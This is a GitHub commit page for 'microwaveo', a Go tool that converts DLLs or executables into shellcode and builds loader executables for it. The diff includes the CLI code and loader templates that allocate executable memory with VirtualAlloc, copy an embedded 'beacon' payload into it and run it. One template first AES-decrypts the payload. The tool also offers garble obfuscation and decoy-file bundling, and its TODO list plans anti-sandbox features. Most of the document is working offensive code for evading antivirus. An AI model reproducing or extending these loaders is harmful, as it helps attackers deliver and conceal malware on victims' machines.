Skip to content

Commit

Permalink
🎉
Browse files Browse the repository at this point in the history
  • Loading branch information
Ciyfly committed Sep 8, 2022
1 parent ebae457 commit 1e86cbe
Show file tree
Hide file tree
Showing 15 changed files with 908 additions and 0 deletions.
56 changes: 56 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
# Microwaveo

一个小工具 微波炉加热一下dll

1. 调用 go-donut 将dll/exe等转为shellcode
2. 使用go模板构建shellcode的加载器 最后输出exe
3. 也支持直接传入shellcode来构建最后的exe
4. 最后的exe支持 garble混淆

## 注意
**因为是使用go 构建exe所以需要go的环境**

## 使用

编译好的文件可以直接在 在这里 [releases](https://github.com/Ciyfly/microwaveo/releases) 下载 当然可以自己编译

```shell
./microwaveo --help
GLOBAL OPTIONS:
--arch value, -a value shellcode arch x32 x64 x84 default x64 (default: "x64")
--encrypt value, -e value encrypt the generated exe support aes default aes (default: "aes")
--funcname value, --fn value dll func name
--help, -h show help (default: false)
--input value, -i value input file dll/exe/shellcode
--obfuscate, --of obfuscate the generated exe using garble (default: false)
--shellcodeFormat value, -s value output shellcode format hex bin default bin (default: "bin")
--version, -v print the version (default: false)
--white value, -w value bundled white files file path
```

### 将dll转为exe

```shell
./microwaveo -i recar.dll -fn RunRecar
```

### 将exe控制为32位
```
./microwaveo -i recar.dll -fn RunRecar -a x32
```

### 使用garble混淆最后的exe
```
./microwaveo -i recar.dll -fn RunRecar --of
```
需要安装 garble
最简单的安装 使用 `go install mvdan.cc/garble@latest` 最后配置环境变量


## TODO

1. 思考是不是可以将加载器做成多个模板的形式来处理
2. 增加一些反沙箱的东西
3. 待定 有任何想法欢迎与我交流


119 changes: 119 additions & 0 deletions cmd/microwaveo.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
package main

import (
"fmt"
"microwaveo/conf"
"microwaveo/pkg/cupboard"
"microwaveo/pkg/logger"
"microwaveo/pkg/utils"
"os"
"os/signal"
"syscall"

"github.com/urfave/cli/v2"
)

func SetupCloseHandler() {
c := make(chan os.Signal)
signal.Notify(c, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT, os.Interrupt, os.Kill, syscall.SIGKILL)
go func() {
s := <-c
fmt.Println(fmt.Sprintf("recv signal: %d", s))
fmt.Println("ctrl+c exit")
os.Exit(0)
}()
}

func init() {
logger.Init()
conf.Init()
}
func main() {
SetupCloseHandler()
app := cli.NewApp()
app.Name = "mcrowaveo"
app.Usage = "mcrowaveo -i test.dll "
app.Version = "0.1"
app.Flags = []cli.Flag{
&cli.StringFlag{
Name: "input",
Aliases: []string{"i"},
Usage: "input file dll/exe/shellcode",
},
&cli.StringFlag{
Name: "arch",
Aliases: []string{"a"},
Value: "x64",
Usage: "shellcode arch x32 x64 x84 default x64",
},
&cli.StringFlag{
Name: "funcname",
Aliases: []string{"fn"},
Usage: "dll func name",
},
&cli.StringFlag{
Name: "shellcodeFormat",
Aliases: []string{"s"},
Value: "bin",
Usage: "output shellcode format hex bin default bin",
},
&cli.BoolFlag{
Name: "obfuscate",
Aliases: []string{"of"},
Usage: "obfuscate the generated exe using garble",
},
//encrypt
&cli.StringFlag{
Name: "encrypt",
Aliases: []string{"e"},
Value: "aes",
Usage: "encrypt the generated exe support aes default aes",
},
&cli.StringFlag{
Name: "white",
Aliases: []string{"w"},
Usage: "bundled white files file path",
},
}
app.Action = RunMain

err := app.Run(os.Args)
if err != nil {
logger.Fatalf("cli.RunApp err: %s", err.Error())
return
}
}

func RunMain(c *cli.Context) error {

input := c.String("input")
white := c.String("white")
arch := c.String("arch")
funcName := c.String("funcname")
obfuscate := c.Bool("obfuscate")
encrypt := c.String("encrypt")
shellcodeFormat := c.String("shellcodeFormat")
if input == "" {
logger.Fatal("You need to enter the dll exe shellcode file path specified by -i")
os.Exit(-1)
}
if utils.FileIsExist(input) == false {
logger.Fatal("input file not exist")
os.Exit(-1)
}
args := &cupboard.Cmdargs{
Input: input,
Arch: arch,
FuncName: funcName,
ShellcodeFormat: shellcodeFormat,
White: white,
Obfuscate: obfuscate,
Encrypt: encrypt,
}
conf.EnvironmentalTestGo()
if obfuscate {
conf.EnvironmentalTestGarble()
}
cupboard.Build(args)
return nil
}
65 changes: 65 additions & 0 deletions conf/conf.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
package conf

import (
_ "embed"
"fmt"
"io/ioutil"
"microwaveo/pkg/utils"
"os"
"os/exec"
"path"
)

//go:embed template/template.tmpl
var t []byte

//go:embed template/template_aes.tmpl
var tAes []byte

//go:embed template/template_aes_white.tmpl
var tAesWhite []byte

func initDir(p string) {
if !utils.FileIsExist(p) {
os.Mkdir(p, 0666)
}
}

func initTemplate(tName string, content []byte) {
tmplPath := path.Join(utils.GetCurrentDirectory(), "conf", "template", tName)
if !utils.FileIsExist(tmplPath) {
ioutil.WriteFile(tmplPath, content, 0666)
}
}

func Init() {
confParh := path.Join(utils.GetCurrentDirectory(), "conf")
initDir(confParh)
templateParh := path.Join(confParh, "template")
initDir(templateParh)
staticPath := path.Join(templateParh, "static")
initDir(staticPath)
// template
initTemplate("template.tmpl", t)
initTemplate("template_aes.tmpl", tAes)
initTemplate("template_aes_white.tmpl", tAesWhite)
}

func EnvironmentalTestGo() {
// 需要go 环境 还有garble
goCmd := exec.Command("go", "version")
goErr := goCmd.Run()
if goErr != nil {
fmt.Println("you need to install go for build exe: https://studygolang.com/dl")
os.Exit(-1)
}
}

func EnvironmentalTestGarble() {
garbleCmd := exec.Command("garble", "version")
garbleErr := garbleCmd.Run()
if garbleErr != nil {
fmt.Println("You need to install garble for compilation: go install mvdan.cc/garble@latest")
os.Exit(-1)
}
}
45 changes: 45 additions & 0 deletions conf/template/template.tmpl
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
package main

import (
_ "embed"
"syscall"
"unsafe"
)

//go:embed static/tmp.bin
var beacon []byte

// shellcode
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 55
KEY_2 = 66
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func Run(shellcodeBeacon []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中
syscall.Syscall(addr, 0, 0, 0, 0)
}

func shellcoeRun(code []byte) {
Run(code)
}

func main() {
defer func() {
if v := recover(); v != nil {
return
}
}()
shellcoeRun(beacon)
}
78 changes: 78 additions & 0 deletions conf/template/template_aes.tmpl
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
_ "embed"
"syscall"
"unsafe"
)

//go:embed static/tmp.bin
var beacon []byte


// shellcode
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 55
KEY_2 = 66
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func Run(shellcodeBeacon []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中
syscall.Syscall(addr, 0, 0, 0, 0)
}

func PKCS7Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

//AES解密
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS7UnPadding(origData)
return origData, nil
}

func shellcoeRun(encrypteds []byte, aesKey string) {
origin, _ := AesDecrypt(encrypteds, []byte(aesKey))
Run([]byte(origin))
}

func main() {
defer func() {
if v := recover(); v != nil {
return
}
}()
// shellcode
key := "{{.AesKey}}"
shellcoeRun(beacon, key)
}
Loading

0 comments on commit 1e86cbe

Please sign in to comment.